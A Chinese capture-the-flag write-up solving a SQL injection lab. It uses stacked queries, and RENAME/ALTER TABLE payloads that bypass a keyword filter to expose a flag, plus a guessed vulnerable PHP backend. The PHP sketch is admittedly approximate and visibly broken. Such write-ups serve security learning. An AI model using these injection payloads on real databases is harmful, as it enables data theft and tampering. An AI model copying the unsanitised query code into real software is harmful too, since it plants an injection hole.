wp
打开靶机,随便提交,发现似乎是把 PHP 查询的原始结果之间返回了
输入 select 发现了过滤语句,过滤了 select,update,delete,drop,insert,where 和 .
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
测试一下有没有注入。
?inject=1'%23
,返回正常,字符型注入过滤了这么多关键词,尝试堆叠注入。
?inject=1';show databases;%23
,看到了所有的数据库再看一下所有的表。
?inject=1';show tables;%23
,1919810931114514 表和 words 表- flag 在全数字的表里,默认查询的是 words 表
?inject=1';show columns from `1919810931114514`;%23
?inject=1';show columns from `words`;%23
既然没过滤 alert 和 rename,那就可以把表和列改名。先把 words 改为 words1,再把数字表改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了
构造 payload 如下
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
使用
/?inject=1' or '1'='1
访问一下即可获得 flag
个人总结
MySQL中反引号和单引号的区别与用法
- MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
- 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
- 例如:select * from `username` where `name`="peri0d"
PHP 代码推测,这里只是一个大概的流程,和实际可能有出入。参照 sqli-labs 里的代码
<?php function waf($inject){ preg_match("/select|update|delete|drop|insert|where|\./i",$inject); die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);'); } if(isset($_GET['inject'])){ $id = $_GET['inject']; waf($id); $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname); $sql = "select * from `words` where id = '$id';"; /* execute multi query */ if (mysqli_multi_query($con1, $sql)){ /* store first result set */ $result = mysqli_multi_query($con1); if ($result) { if($row = mysqli_fetch_row($result)) { var_dump($row); } } /* print divider */ if (mysqli_more_results($con1)) { echo "<hr>"; } } mysqli_close($con1); } ?>
MySQL 的 show、rename 和 alter 命令
- show 可以用于查看当前数据库,当前表,以及表中的字段
- rename 用于修改 table 的名称
- alter 用于修改表中字段的属性
攻击思路:默认查询 words 表,可以将数字表的名称改成 words,这样就可以 使用 or '1'='1 直接查询 flag 了